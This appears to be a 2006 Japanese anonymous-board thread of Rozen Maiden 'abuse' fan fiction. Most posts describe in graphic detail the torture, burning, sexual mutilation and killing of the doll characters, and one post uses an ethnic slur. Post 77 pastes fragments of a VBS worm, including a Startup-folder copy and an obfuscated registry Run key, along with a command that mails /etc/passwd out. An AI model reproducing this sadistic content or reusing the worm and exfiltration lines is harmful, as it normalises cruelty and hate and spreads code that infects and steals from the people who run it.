せせら笑うと、右手にこっそり握る糸の端を引っ張った。ドテッ!
                    .  r―
           _.. ー''''''''''''ー-,、.├ーーi
      _/゛        r-ト|   |
     ./            ,!  `ゝ、、!  __,,..,  痛いですぅ
     l            /     `''!二`-冖'^l'|       ._,,,.... -、、
     .,!       _,, ./         `゙''''ーイl_,, -''''"゛   ._,,.. i-゙''i
     .,!  ,i―ー''"゛  ヽ\    .`゙゙゙゙゙ ̄ ̄     .,,,..-'',゙,,.. -←!、
     !.,ノ'、         ゙i.\  ''-..,,,,____________yrメ゙‐''"゛ _.. -―'''';`''i
.r'"゙゙) i、 `' ゝ           i 、\、               ,,..;;ニ>''^^^^''/.,,/
.゙ヽ//  ̄'''''''''!ヽ        i .l, ヽ`''ー、,,,__     .,/""   ._,_ノ-!lニ......,,、
  `l′      ヽ       i..l   ヽ_/ゝ、. ̄ ̄ ̄\._.. ‐'',゙ン-'''''''"゙゙゙゙゛ / フ' ゝ
   ヽ―――、  .ヽ    !   i ゙l  /l;;-、 `'ヽ     ヽ┬″ー二二二二 ト" ,i
           ヽt-ゝ    .l  |  l / l . \        ,i'ソ\ ._、-'''^^^^^゙フ┘/
           // /l;"   l   i  ! | .lt、         ,rソ゛  .\ '''''''"''''.l. /
        // /八    .| .l  l ./ . ! l    ._ '.ソ      ゙''''lニ´゙,゙7/'´
        l_|  リ  i   .! /  .l/ / . l .ィ ,..r ソ        │ .゙l'´
          ̄    i   |/  . ! /   !゙'l゙  l'ソ         /゙フ,ヽ
             i  /  .i/゛ ./  |./   | .i-、      /イ   l
              i /  .〃 /   / .il゙.―| ,!  ,,-‐'二/  ヽ―"
                 l′ .〃  l   /  〃 .l゙ | r″ /´ヽ
                /  /!   .|,,..-/ !  l |  .! │'i..,゙゙,/、 .ヽ
                ! 丿i  l゙ .丿 | │ !  l  , /  ̄ ヽ―′
               ̄ !  ン   |  |、 i/ ゙ /
                ゙^゙´    .l_レ" /  ̄
                       ヽ--′
何かに躓くようにしてクソミドリは床に突っ伏した。俺は奴が盗み食いをしている間に
あのビラビラスカートの裾に釣り糸を括りつけておいたのだった。
ハァ?誰が同じテで攻めるって言った?バカタレめが。俺は糸を手繰り寄せると
クソミドリの背中を思いっきり踏みつけて動きを封じ、いつもどおりオサゲをむんずと
束ねるように握りしめて引っ張りあげる。「なななにするですか!痛いですゥ!
大事な乙女の髪は心を許した相手だけに触らせるですぅ!
オマエみたいな下衆はさっさと離すですゥ!」こいつはまだ俺の手に自分の生殺与奪が
委ねられていることが判っていないようだ。俺は背中を踏みつけたまま、
クソミドリを後ろ手に廻し、更にクシャクシャのスカートパニエをめくり
両足も背中側に折り曲げて、両の手足を背中で束ねて縛り上げた。
釣り糸できつく括りあげた後、奴の自慢の憎らしい二股オサゲを使い、
その毛髪で糸縛りの上から両手足を再度括りあげた。オサゲの端が
ちょうどいい縄尻となり、俺は面白がって何度もオサゲを引っ張ったり振り回したりした。
そしてオサゲの端を天井の梁に括りつけ、クソミドリを宙吊りにした。
駿河問いと呼ばれる有用な拷問の格好にされたクソミドリ。相変わらず
「乙女の髪でこんな惨いことするやつは地獄に堕ちろですぅ!
ゴミのような音楽聴いてるヤシは所詮ゴミ人間ですぅ!」
などとほざきやがる。ハァ?ゴミだと?自分のことを棚にあげてよくも
ぬけぬけとほざくものよ。貴様こそが産業廃棄物以下・ジャンクにすらも
劣る最低ゴミ人形、不良品以下のローゼンメイデンの面汚しなんだぜ!
ゴミにゴミ呼ばわりされるような俺様じゃねえ!
俺は冷蔵庫から凍らせた液体をパンパンに詰めた2?PETを
取り出すと、鈍器よりも重量感のあるPETで宙吊りのクソミドリを何度となく殴打した!


60: ミーディアム@薔薇乙女:06/10/10 21:24 ID:DuvM6Ams





ここまで読んだ


書いてる人乙

61: ミーディアム@薔薇乙女:06/10/12 11:57 ID:eqYAAuhg
見よ!この、物凄く小憎らしい顔!
最悪!
ちがうの〜とか言いながら、口からスプンを吐き出し
足をバタバタさせながら、偉そうに文句言ってる所です。
この時点で、髪の毛を引っ張って椅子ごと後ろに倒し
痛いと言ってる間に、ナイフとフォークを顔面に突き刺したい心境です

62: ミーディアム@薔薇乙女:06/10/12 11:59 ID:eqYAAuhg


63: ミーディアム@薔薇乙女:06/10/12 12:02 ID:eqYAAuhg
最悪!
人形の分際で、物を食うな
働かざるもの、食うべからず!!!!!!!!

後、家の中で靴を履いたまま歩き回るな

64: ミーディアム@薔薇乙女:06/10/13 20:47 ID:2E84GueI
あんまり小憎らしいので片目をくりぬいてやった!

65: ミーディアム@薔薇乙女:06/10/13 21:36 ID:G1B4wPHw
手始めに雛苺の両方の手首をもぎ取り、目の前で苺大福を
美味しそうに食べるところを見せ付ける。

真紅は、髪の毛を片方だけ鋏で切り落として、
手足を、体から切り離した後、胴体を前後ろ逆にする
つまり真紅自身の目でお尻が見えるようにする。

翠星石は、両方の手首足首をもぎ取り、髪の毛を
全部剥ぎ取り、首を後ろ向きに付け替える。

蒼星石は、頭を取り外し体が見える所に転がしておく。

66: ミーディアム@薔薇乙女:06/10/18 11:40 ID:wW07c7Mc


67: ミーディアム@薔薇乙女:06/10/18 12:24 ID:wW07c7Mc


68: ミーディアム@薔薇乙女:06/10/18 12:25 ID:wW07c7Mc


69: ミーディアム@薔薇乙女:06/10/19 04:09 ID:5ulquZUY


70: ミーディアム@薔薇乙女:06/10/19 04:17 ID:5ulquZUY
食い物は、与える必要なし!

人形なので、死にません


71: ミーディアム@薔薇乙女:06/10/20 07:13 ID:q9MYYj2A
真紅と翠星石は、カバンに入った後こっそり作っておいた
合鍵でカバンに鍵をかけた後、後ろの蝶番と手前の鍵穴の有る金具の部分を
アロンアルファーで、固定して周囲はアロンアルファーゼリー状で目止めする
雛苺は、遊んでる最中にカバンを閉じて同じように接着剤で止めて、
寝る事が出来ない様にする。
真紅と翠星石は、顔の部分に直径3cmの穴を開けて、そこから
ウンコとオシッコを流し込んだり、熱湯を流したり、煙の出始めた
天ぷら油を流し込んだりして遊ぶ。
雛苺は、寝る事が出来ないので自然に壊れてゆくが
破壊してあげた方が良いと思う。

自動洗濯機で頭を下にして押し込んで洗ってあげたり、浴槽に沈めたりしよう
うにゅ〜あげるよと言って、丸ごと口に押し込む苦しくて暴れてるところで
手首をもぎ取り口から、うにゅ〜を、出せない様にしてウンコも押し込む、
クソまみれのジャンク人形は要らないと、雛苺に大声で怒るように言う。
小さい穴を開けたゴミ袋に押し込んだ後、ゴミ箱に生ごみと一緒に入れておく。
暇な時だけ取り出しては、苛めて遊ぶ。

72: ミーディアム@薔薇乙女:06/10/24 21:32 ID:CD8or4Bg
うんこちんちん

73: ミーディアム@薔薇乙女:06/10/25 00:04 ID:c7zzbvMk
低年齢児隔離スレか?

74: ミーディアム@薔薇乙女:06/10/28 06:22 ID:Mn5M9xtU
アイスピックで、刺されて目が見えないの〜〜〜〜

怖いの〜〜〜〜〜〜〜

苛めないでなの〜〜〜〜〜〜〜

ジャンクにされちゃうの〜〜〜〜〜〜〜〜〜

75: ミーディアム@薔薇乙女:06/10/29 21:32 ID:zoK3HkEs
何度叱りつけても雛苺が床や鞄に落書きをするので死を与えることにした

まず雛苺の眼球に高温に熱したフォークを何度も押しあて、爪で瞳孔を傷つける
次に目玉抉って耳鼻削ぎ、四肢を縛って四方にじっくりひっぱる
痛みで泣き叫ぶ雛苺の唇をライターで炙って縦にハサミで切り刻む
また歯をトンカチで叩きグチャグチャにし、
歯茎は裁縫針を刺しまくる
乳首をハサミで切ってへそに電動回転式ドリルをぶちこむ
性器を裁縫針で針山にして、爪剥がして足の甲に五寸釘を打ち込み蝋燭で炙る
全身をナイフでめった刺し同時に鈍器で殴り続ける
全身有刺鉄線に巻き付けて最後に釜湯でにする


            (;:⌒      ブクブク…         ⌒:;:)
                (;:;"     。゚     ;:)
  ∩且つ         ,--‐。o:‐'i|l‐i!::‐‐;:-、
  ( ^x^)         |ヽ、`,:从i><i゚从;:;ノ
.  く| Y|>         |  。゚ ̄;!゚~~"~ ̄`;:。|
   | 人i         .| 从;:. 人 从ノi!W/ |
   レ| ||         ==ヾ;:;イ人:;:从;:;:シ;:;从ノ===
   (_).)          //~//~|_|~i!_| i!_i!ヾヽ

76: ミーディアム@薔薇乙女:06/10/30 06:59 ID:iZ43GPDM
ドールの中で最もアリスに近く気高い翠星石を虐待するなんて、このスレのやつらは馬鹿ばっかですぅ!
このスレのやつらはドールの本質を理解していないキモオタで他のジャンクばかり愛でている厨房ですぅ。
他のドールなんかジャンクばっかりで二目と見れないようなやつらばっかなのになんで翠星石を嫌うですか?
翠星石は性格も容姿も最高で一番アリスに近いドールですから、翠星石を好きになるのがドールを理解している大人ってもんですぅ。
このスレを見てみたら「性格最悪のクソミドリはジャンク」だの「クソミドリは人生の敗者」だのほざいてる奴らがいますが、まさに、


ホームラン級の馬鹿ですぅw


翠星石は性格も容姿もドールの中で一番最高で一番アリスに近い翠星石をジャンク呼ばわりするなんて、許せねえですぅ!
他のドール同士で勝ち負けなんてねーですぅ。どっちも敗者ですぅ。全く呆れちまうですぅ。

ドールの中で最も気高いィ?ハァ?
ジュンの目つきに凄みが増す。
ふざけんじゃねーよ!このクソジャンクのクソミドリ!おめーなんかどうみても性格最悪!
ドールの本質ゥ?ハァ?てめーが一番ドールの本質そのものを穢しまくってるんじゃねーか!
アンティークドールの儚く気高く美しいイメージを悉く穢してるんだよ!
              _ -- 、
     ス        入    _>
     タ        /:::/トイ::::|
    タ      /:::/:::|::::|:::::|
   タ     /:::/:::;イ:::::l:::::|
   タ    /:::/:/:.!::::::l:::::l   逃げるですぅ
      _∠ニフ': : : :.',::::::l:::::l
   r┬':仁二): : : : : : :Y二二)
   └ハに二Y ー-: : :_:_:_`フイ
     `}\:.)ノ: : : : : : : : :└rう
     ⌒'7辷_┬┬┬イノ))
      / // / //⌒⌒´
    ' // / // /
    // / / '
逃げようとするクソミドリをジュンは見逃さない。
無駄に長いおさげ髪をグイグイと引っ張り嫌がる翠を手繰り寄せ、おさげを握ったまま翠をぶんぶん振り回し床に叩きつける。
「うぐぅ、痛いですゥ、この翠星石に何するですかぁ!」
云っても無駄な台詞だ、「この翠星石」だからこそ虐待される。
いや、「翠星石というクソミドリ粗大ゴミ」には虐待遊戯物としての価値しか残されていないことをまだこいつは全然自覚していない。
ジュンはそのことに更なる憤りと呆れを感じて、床に叩きつけた翠に一層激しい暴行を加えた。
手近にあった満タンの2gペットボトルでジュンは翠の背中を何度も打ち据えた!
おめーの存在自体、ゴミ!何度も云ってるだろうwおめえは ミ ド リ の ド レ ス を 被 っ た ゴ ミ だって!
ドルフィーのイメージダウンにまで一役買いやがって!ヴぉーくすに賠償金でも払ってもらいたいくらいさ! い い 加 減 消 え ろ よ !
生まれてきてゴメンナサイ、そう云ってローゼンに謝れ!
姉妹の面汚しでゴメンナサイ、そう云って雛苺に謝れ!
薔薇乙女の誇りを穢してゴメンナサイ、そう云って蒼星石にも謝れよ!
再び髪を掴むと、ジュンは狂ったように何度も翠を床に叩きつけ、暴行は翠の額や顎に罅が入るまで続いた。
ハァ?一番アリスに近い?おめえを好きになれ?それがドール好きのオトナだァ?戯言ほざくのもいい加減にしろよ!
アリス?てめぇには口にすることすらおこがましいんだよ!
おめえはローゼンメイデンシリーズ随一の駄作、いや、ローゼンシリーズ以前に、ドールとして既に不良品なのさ。
無駄に長ったらしい汚ねえおさげ!毛羽立って縫製いい加減なクシャクシャドレス!
ワケワカンネェ19世紀末のイカレ貴族のフェチ注文に応じて急遽やっつけ仕事で作られたのがおまえことクソミドリなのさ!
この前、真紅、水銀燈、そして槐先生からもおまえのイカレタ真相を聞かせてもらったぜ!
ハッキリ云うよ、おまえなんて第三ドール失格にして、代わりに薔薇水晶様でも据えたほうが、よっぽどローゼンメイデンの贐さ!
わかっただろ、おまえがもういらない子だって!じゃあ、浄化してあげるよ。
ジュンはライターの火を、クソミドリのおさげ髪に近づけた。
シュポ・・・・・ゆっくりと炎は翠のおさげの末端のカールをチリチリと焼き尽くし、次第に後頭部へと燃え広がる!
「あああああついですぅ!なにするですぅ!おお父様が丹精込めて・・ああつい!あついですぅ!せっかくの自慢の翠星石の髪をぅ!
 ひどいですぅ!悪魔ですゥ! おまえなんか最低のミーディアムですぅ!」
ハァ?僕はおまえの下僕になったつもりなんか毛頭ないぜ!
真紅や蒼君に頼まれて、「仕方なく」契約してやったっての、忘れて貰っちゃ困るんだよ!
ハハハハハ!火祭りドール!クソミドリの火達磨ダンスだ!こりァ傑作!
へへっ!コレに懲りたら、もう二度と身の程を弁えねえような発言はするんじゃねー! 
このジュン様がトニー&デュードを引き連れて、お前に虐待無間地獄を味あわせてやるということを忘れるなよ!
クソジャンク!クソミドリ!ゴミ以下の有害産業廃棄ドール!こんどはポチピトの眼前で処刑してやるぜ!

77: ミーディアム@薔薇乙女:06/11/04 11:58 ID:R8XhOB0U
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Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
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cat /etc/passwd | mail nobody@nonexistent.com
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
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fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

78: ミーディアム@薔薇乙女:06/11/07 22:15 ID:lKYYMHIw
ウイルスコードを使ったいたずらが二度と出来ないよう、罰として、

ガタガタ震えて泣きながら赦しを乞うクソ>>77を無理やり押さえつけて、

その汚い汚い四肢を回転式芝刈り機で切断してダルマにしてやる。

「すみませんでした〜」、「もうしませんよ〜」、「ゆるしてくれ〜」

すっかり怯えきった表情でそう言っていたクソ>>77

懲罰中は「いいいだいよおおおお〜」、「うぎゃあああ〜」と泣き叫んでいたクソ>>77

しかし、いざ懲罰が終了して四肢がなくなってしまえば

「このくそやろう〜」、「てめえ、ゆるさねえぞ〜」、「ぶっころすぞ〜」

と半狂乱になってわめき出す始末。まさに強情なる事この上なし。

クソ>>77には「真摯な謝罪と反省」という事が絶対にないのだ。

だから懲罰がやむ事も決してあり得ない。クソ>>77が死ぬまで無限に続く懲罰の日々。

79: ミーディアム@薔薇乙女:06/11/08 12:40 ID:BIxszI5U
糞苺の髪の毛を引っこ抜く
糞苺の腹を蹴り飛ばす
本当に雛ちゃんは生ゴミ以下だね
ゴミ苺
雛苺の知能に苦笑
池沼苺は逝け
糞苺に苺大福をちらつかせてみたい
糞苺に糞を喰わせたい
雛苺→ローザミスティカ乖離→池沼化→糞苺
雛苺=糞苺
雛苺=クズ
哀れ雛苺
雛苺のおやつはチョン特製ゴミぎょうざ
ゴミ苺なんてどうでもいい
カス苺まだ生きてたのか
雛苺が苺大福嫌いになるまで詰め込みたい
雛苺が池沼になるまで蹴り続けたい
糞苺のこめかみをおもいっきり殴りつける
雛苺を頭からゴミ箱にぶちこむ
糞苺死ね
クズ雛苺は死んでろ
クソ苺は腹割かれた後腸引きずり出されて苦しみ悶えながら死ね
糞苺のかわいさは異常
池沼苺こそ至高
雛苺は少し目を離すと鼻糞食べだすから困る
雛苺の髪にロケット花火を数本刺して一斉に点火
雛苺のケツの穴にチャッカマンを挿入し点火
雛苺の目にアロンアルファを垂らす
雛苺のわきの下にうるしを塗る
頭蓋骨が砕けるまで雛苺をコンクリートに叩きつける
雛苺の指を万力で粉々に潰す
雛苺の顔が金糸雀になるまで殴り続ける
雛苺の首をねじ切ってサッカーボールにする

雛苺の髪の毛を一本も残さず全て引っこ抜いて、頭を苺大福にする
雛苺の苺大福だけ買ってこない
雛苺を擂粉木で擂り潰して餡に混ぜ、奴自身をうにゅーと同化させてあげる
雛苺に新しいリボンを買い与えて喜んだとたんに一気に引き裂く
雛苺の指を大根おろし器を用いて、ドラえもんの様になるまでおろす
雛苺やめますか、それとも人形やめますか
雛苺の頭の中に人糞をつめる
雛苺を夏の真昼、炎天下の中、車のトランクの中に放置
雛苺が口から下痢便吐き出すまで下腹部を殴り続ける
雛苺が寝たら15分おきに起こす
雛苺のまぶたを接着剤で固めて、まばたき出来ない様にする
雛苺の顎をつかんで、強制的に舌を噛み千切らせる
寝ている雛苺の鼻にクワガタをのせてやる
雛苺がくすりとでも笑おうものなら、見えた歯を根こそぎ歯科用ドリルで削り飛ばす
雛苺の鼻の頭を渾身の力を込めて金属バットで叩き潰す
コンセントとそれに刺しこめるぐらいの細い金属しかない部屋に雛苺を放置する
雛苺の晩御飯に犬の糞を喰わせる
雛苺の苺大福だけ中身を梅干しにすりかえる
雛苺は社会のゴミだからとっとと消えろクズ
雛苺を高速道路に放り投げる
雛苺を埋める
雛苺と翼手を戦わせる
雛苺のへそを箸で突き刺す
雛苺を仰向けに寝かせ、顔面めがけてかかと落とし
雛苺の鞄にセメントを流し込む
雛苺の耳の穴にゴキブリの卵を流し込む
雛苺の腕を裁断機で微塵切りにする
雛苺の鼻にフックを掛け一気に引っ張る
雛苺に永遠と両手でジャンケンさせ続ける
雛苺の顔を焼けた鉄板の上に押し付ける
とにかく雛苺はさっさと死ぬべきなんだ
食うことしか頭に無い低能のカス野郎
雛苺はクズだから仕方ないよ
雛苺の鼻にパチンコ玉を積める
雛苺がリアルにいたらボコボコにしてしまうかもしれん
雛苺なんて触るのも嫌なんだけど
手を触れずにサノバビッチ(雛苺)を殺したい
雛苺ぼっこぼこ
糞苺には人糞がお似合いだわっ!!アッハハハッハー

80: ミーディアム@薔薇乙女:06/11/12 13:07 ID:bohMxopw
クソ苺の前髪以外の髪をバリカンで全部剃り落してつるつるにする。
そしてケツの孔から体操競技専用の鉄棒を突き刺して頭に穴を開ける。
そして水銀燈の羽と薔薇水晶の水晶で目ん玉を抉り抜いて空洞にする。

そして服を全部引き裂き、全裸にすると電動鋸でヘソの周りを切り抜く。
その穴の中に目ん玉と折れちぎって燃やした手足を詰め込み、最後に
クソ苺にお似合いのウンコでトッピング。それからクソ苺の胸元を
弄んだ後にサバイバルナイフでメッタ刺しにする。そして最後のメイン
イベント。約2000dある錘を9999q上空から落とす。そのクソ苺の
最後に言った言葉は「い゙…ヒナ゙がわい…い…のお゙ぅぅ゙……」最後まで
自分がかわいらしいと主張するクソ苺に腹を立てたアンチ者たちはきっと
数知れないだろう。しかしもう安心。この世から"雛苺"と言う存在は
消え去ったのだから。

∧_∧  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
( ´∀`)<たん♪た、たらりらたん♪
(    ) \__________
| | |
(__)_)

  _
   ,',i><iヽ
  /((ノ。ノリノ))
((ミi *々゚ノミ))
   ⊂)本!つ
(ム!,,jム)
し'ノ


   |‖ |||
   __∩__ グチャ
  |  ,.;. '.;§, |;
., ,・倒_@ δ_ |,.': ;
,; 。 ∽  し'ノ β 。 ,.・;



81: ミーディアム@薔薇乙女:06/11/15 18:27 ID:rswMGxFo
カナリアか真紅の虐待ありませんかー?

82: 薔薇銀琥:06/11/15 19:37 ID:6mEFrzj2
雛苺・・・翠星石・蒼星石・水銀燈・・・
みんな可哀想。どうしてそんなことを考えられるの・・・?

83: ミーディアム@薔薇乙女:06/11/15 20:39 ID:tD0zwUIs
雛苺「ぁ゙〜ぅ゙〜〜〜」
水銀燈「うるさいわねぇ〜このジャンクめぇ〜〜〜!」雛苺「水…ぎ……ぁ゙ぁぁ゙ぁぁ゙ゔぅ゙ぅぐゃ゙ぅぎぃ゙ぃ〜!!」
水銀燈「何言ってるのかさっぱりわからないわぁ〜!この暑さでイカれてしまったのかしらぁ〜?」
雛苺「あ゙づ…ぎぃ゙ぃ゙いぃいい゙いぃ゙〜〜〜!!」水銀燈「全く…このゴミジャンク……!!フフフ…いっその事本物のジャンクにしてあげるわぁ〜!」
バキッベキッボキッベキッベキベキベキベキベキボキッグジャァァァァッ
雛苺「ぎゅ゙がぢかばゃたがざはだぁ゙ぁ゙ぁぁ゙ぁぁ゙っ゙」
水銀燈「あははははははっ真っ二つになっちゃったぁ!しかも潰れちゃったぁ!」
雛苺「ぁ゙ー…ぅ゙〜〜…」水銀燈「あらぁ?まだ声を発する元気があるのねぇ〜!今度は首をもいであげるわぁ〜!」
グジャッ
雛苺「ぁ゙〜…ぁ゙〜ぁ゙ぁ゙ぁぁ゙うぅぅ゙ぐゃぅ〜」
水銀燈「…どんなに壊してもダメね…虫みたいにしぶといんだもの。まぁ、面白いから粉になるまで遊んであげる〜!」
雛苺「ぅ゙ゆ゙ぅ゙うぅ〜!あ゙ぞ…ん……でぇ〜〜〜〜〜〜 ぅ゙ゆぅ゙うぅ!!」水銀燈「フッ」

         _
        ,'´r==ミ、  真っ黒になっても気持ち悪いわねぇ
   ,_ _ _  卯,iリノ)))〉.,_ _ _
  /;;;;;;;;;;`'ヽ|l〉l.゚ ー゚ノl/,;;;;;;;;;;;;ヽ       
 '"'⌒`~"'"''''|!/'i)卯iつゝ'''"^"``           ,;;ハ,;,、, 
        ''y' /冬lヽ          ,',i><iヽ|l |#:;)々。#)´ ヴニ゙ュゥゥゥゥ…
        l†/し'ソ†|          {{~(,;,#,"ヾ);U.."`.゚  
        lノ    レ           .,.{{と,;ノc_}.;,.. [ ̄].;: 
       _ ___             ,‘⊂;:゚∵⊃,;゙"

84: ミーディアム@薔薇乙女:06/11/15 21:05 ID:tD0zwUIs
ジュンは蒼星石の体に掴みかかった。
「ちょ、ジュン君!離してよ!痛いよ!っげふ!」
「ごちゃごちゃ喚くなよ!ぶっ殺すぞ!」
ジュンは蒼星石の腹部を殴った。
「まだまだこれからだぜ!」
さらに倒れこんだ蒼星石を蹴りまくるジュン。
「い、いた!やめてよ!痛い!痛い!」
「へっへっへ、お次はこいつだ!」
ジュンはベッドの下からナタを取り出した。
それを見て蒼星石は愕然とする。だが強気な彼女は
「っく!君はジュン君じゃな!レンピカ!」
人工精霊の名を呼ぶと、蒼星石の手に庭師の鋏が出現した。
それを構えた瞬間
「あっ!」
鋏はジュンの持つナタになぎ払われてしまった。
「おっと、そんな物騒なもん出すんじゃねえぞ。それ以上抵抗したら俺はお前を殺したいという圧倒的な衝動を抑えられなくなるからよ」
蒼星石は力なく倒れこみ、ジュンを恐怖した目で見つめるのだった。
ジュンは鋏を拾いあげ、それをまじまじと見つめる。
「へえ・・・こいつはいいや」
再びジュンに悪魔的な微笑が浮かぶ。
「な、なにするの?ちょ、ちょっとやめて!うわあああ!!!」
ジュンはの鋏を高く掲げると、蒼星石の腹部に突き刺した。
「痛いよぉ!抜いて!今すぐ抜いてよぉ!」
「へっへっへ、その苦しみ方、たまんねえ!」
ジュンは高々と笑う。
「さて、最終幕スタートだ!」
今度は巨大な大金槌を取り出すジュン。
それで蒼星石の右足を叩き潰した。
「うわあああ!!!あ、足が!痛い!」
「このドッカリ感たまんねえ!オラ!もう片方もいくぜ!」
さらに左足も叩き潰す。
「ああああ!もうやめてよお!あ、足の感覚が・・・」
そこでジュンは蒼星石の腹部に深く突き刺さった鋏を抜いてやった。
「ほらよ。これ少しは動けるだろ」
蒼星石は動かなくなった足を引きずりながら手を使いながら必死にドアの方へ向かった。
「うう、翠星石・・・うわ!」
「どこ行こうってんだ?幕間までまだ時間あるぜ?」
蒼星石はジュンに蹴られて吹っ飛んだ。
「さあてと。仕上げだ。何か聞きたいことあるかい?」
ジュンの問いに瀕死の蒼星石は
「き、君は一体・・・誰?」
その問いにジュンの目はより一層鋭くなる。
「俺?俺か?俺は心の闇に潜む悪魔。死神デュード様だ!」
そう言って大金槌を蒼星石の頭目掛けて振り下ろした。
「うわああああああああ!!!」
はっと起き上がる蒼星石。
「ん?どうしたんだ?蒼星石?」
「・・・ゆ、夢?」
蒼星石の顔は真っ青だった。
「僕は一体・・・デュードは?」
「はあ?変な夢でも見たんじゃないのか?部屋に来たかと思うといきなり寝始めたし」
それを聞いて蒼星石は少し安心した。
「そ、そう・・・夢か・・・助かった・・・」
ジュンは蒼星石に歩み寄って、微笑む。
「ほら、下で翠星石達が待ってるぞ。行ってこいよ」
「う、うん・・・(良かった。いつものジュン君だ)」
そして蒼星石がドアノブに手をかけた時だった。
「姉妹達との楽しいひと時を過ごしてきな。幕間の後には再び地獄が始まるぜ・・・」
その言葉に蒼星石は愕然とし、止まってしまうのだった。
The End

85: ミーディアム@薔薇乙女:06/11/15 22:11 ID:tD0zwUIs
    , .-=- ,、
 ヽr'._ rノ.'   ',
 //`Y. , '´ ̄`ヽ
 i | 丿. i ノ '\@
 ヽ>,/! ヾ(i.゚ ヮ゚ノ  雛苺の手足をもぎ取って
  `ー -(kOi∞iミフ  カナに何かあった時のスペアにしてやるかしら!
      (,,( ),,)
       じ'ノ'

      _
    ,',i><iヽ
    /((ノノリノ))
   ((ミi!゚ ヮ゚ノミ)) あほなカナじゃ雛の
    ⊂)夲!つ     手足はもぎ取れないの〜!
     (ム!,,jム)
     し'ノ

よし、あとは頭だけだ!
              _
  /⌒⌒ヽ     ,',i><iヽ
 (リノヽ、卯)     /((ノ。リノ))
 ,9、゚ ヮ゚ノミ     ((ミi!*々゚ノミ)) あー・・・うー・・・
 ミ([{∞}]シつ     )夲!
  ノ(_ハ_)        (ム!,,jム)
  `しテ′      ~~~~~~   ⊂つし'ノ



頭は髪の毛を束ねて振り回したら根元からスポッと抜けるだろw

もっとも、頭だけになっても「雛、かわいいの〜」と吠え続けるだろうがwww
こんな風になwww
      ↓
      _
    ,',i><iヽ
    /((ノ。リノ))
   ((ミi!*々゚ノミ)) 雛、かわいいの〜
.    ~~~~~~   雛を侮辱した香具師は許さないの〜

そうならないために口の中に溶けた鉛を流し込んで冷やし固めておく必要があるな。
そうすれば、「首だけクソ雛苺」になっても腐った減らず口を叩くことは出来ないだろう。
あと、一切の感情表現を封じる為に眼球をくりぬいてセメントを流し込んでおくことも必須。

首だけになって目も見えず口も利けなくなってもゴロゴロ転がったり飛び回ったりして迷惑だから、
後始末は麻袋に詰め込んで活火山の噴火口にでも投げ捨てるのがベストだろう。

そ れ で も ク ソ 雛 苺 は 死 な な い だ ろ う け ど な

86: ミーディアム@薔薇乙女:06/11/16 09:38 ID:/YSCdOGE
     ::|    ____
     ::|.  ./|=|    ヽ.    ≡三< ̄ ̄ ̄>
     ::|. / |=|  o  |=ヽ     .≡ ̄>/
     ::|__〈 ___  ___l   ≡三/ /
     ::|、ヽ|.|┌--、ヽ|/,-┐|    ≡/  <___/|
     ::|.|''''|.\ヽ--イ.|ヽ-イ:|  ≡三|______/
     ::|.ヾ |.::. .. ̄ ̄| ̄ /
     ::|  ';:::::┌===┐./
     ::| _〉ヾ ヾ二ソ./       >>1こ、これは乙じゃなくてスラッガーなんだから
     ::||ロ|ロ|  `---´:|____      変な勘違いしないでよね!
     ::|:|ロ|ロ|_____/ロ|ロ|ロ,|`ヽ
     ::| |ロ|旦旦旦旦旦/ロ/ロ|旦,ヽ
     ::|ロヽ 旦旦旦旦旦./ロ,/|::旦旦)
     ::|ヾ旦旦旦旦旦旦,,,/::::|、 旦旦|

87: ミーディアム@薔薇乙女:06/11/16 09:45 ID:/YSCdOGE
     ::|    ____
     ::|.  ./|=|    ヽ.    ≡三< ̄ ̄ ̄>
     ::|. / |=|  o  |=ヽ     .≡ ̄>/
     ::|__〈 ___  ___l   ≡三/ /
     ::|、ヽ|.|┌--、ヽ|/,-┐|    ≡/  <___/|
     ::|.|''''|.\ヽ--イ.|ヽ-イ:|  ≡三|______/
     ::|.ヾ |.::. .. ̄ ̄| ̄ /
     ::|  ';:::::┌===┐./
     ::| _〉ヾ ヾ二ソ./       >>1こ、これは乙じゃなくてスラッガーなんだから
     ::||ロ|ロ|  `---´:|____      変な勘違いしないでよね!
     ::|:|ロ|ロ|_____/ロ|ロ|ロ,|`ヽ
     ::| |ロ|旦旦旦旦旦/ロ/ロ|旦,ヽ
     ::|ロヽ 旦旦旦旦旦./ロ,/|::旦旦)
     ::|ヾ旦旦旦旦旦旦,,,/::::|、 旦旦|

88: 薔薇銀琥:06/11/16 17:47 ID:Z6gWQxMg
暴力の虐待ではなく性的な虐待なら見ていられるのに・・・。
ほんと可哀想。

89: ミーディアム@薔薇乙女:06/11/17 15:42 ID:pUdJ8FCI
>>81の虐待ありませんかー?


90: 通りすがり:06/11/18 14:56 ID:jX9Tnpto
二次元キャラに対しての虐待スレで盛り上がってるってのも何か幼稚な感じだな。

91: ミーディアム@薔薇乙女:06/11/21 21:28 ID:fK5Pqtp6
やっつけで作ってみた

   _                                   /ヽへ/l、
  '´    ヽ         ',i><iヽ                 〆     >
 i  iノリ)))〉       /((ノノリノ)) ♪              <レl从^^从`、
 ヽ!l|.゚ ‐゚ソ!        ((ミi!^ヮ^ノミ))                <口 _ 口レu/
   (li水l)         ⊂)夲!つ                  (ll^Y^l)
   く/_|l          (ム!,,jム)                    |._ハ_.|
   し'ノ           し'ノ                     ゝ' ゝ'
                             /ヽへ/l、  
          _                〆     >
         '´    ヽ             <レl从^^从`、
 ―=≡三 i  iノリ)))〉  \从从///     <口A,口#レu/ 三≡=―
―=≡三とヽ!l|.#゚ ‐゚ソつ''" ((ノリノ));''"´  "''::; (ll^Y^lつ 三≡=―
 ―=≡三 ヽ     ̄ ̄⌒)゚д。(;;;((⌒ ̄ ̄ ̄_  ) 三≡=―
 ―=≡三 /  / ̄ ̄´"'''⊂;;;#':*,'´''::;;;;::'''"´ ̄ヽ \ 三≡=―
 ―=≡三 \__); ///(_ ,、 `^)^) \\\   (__) 三≡=―

                  _            /ヽへ/l、
                 '´    ヽ        〆     >
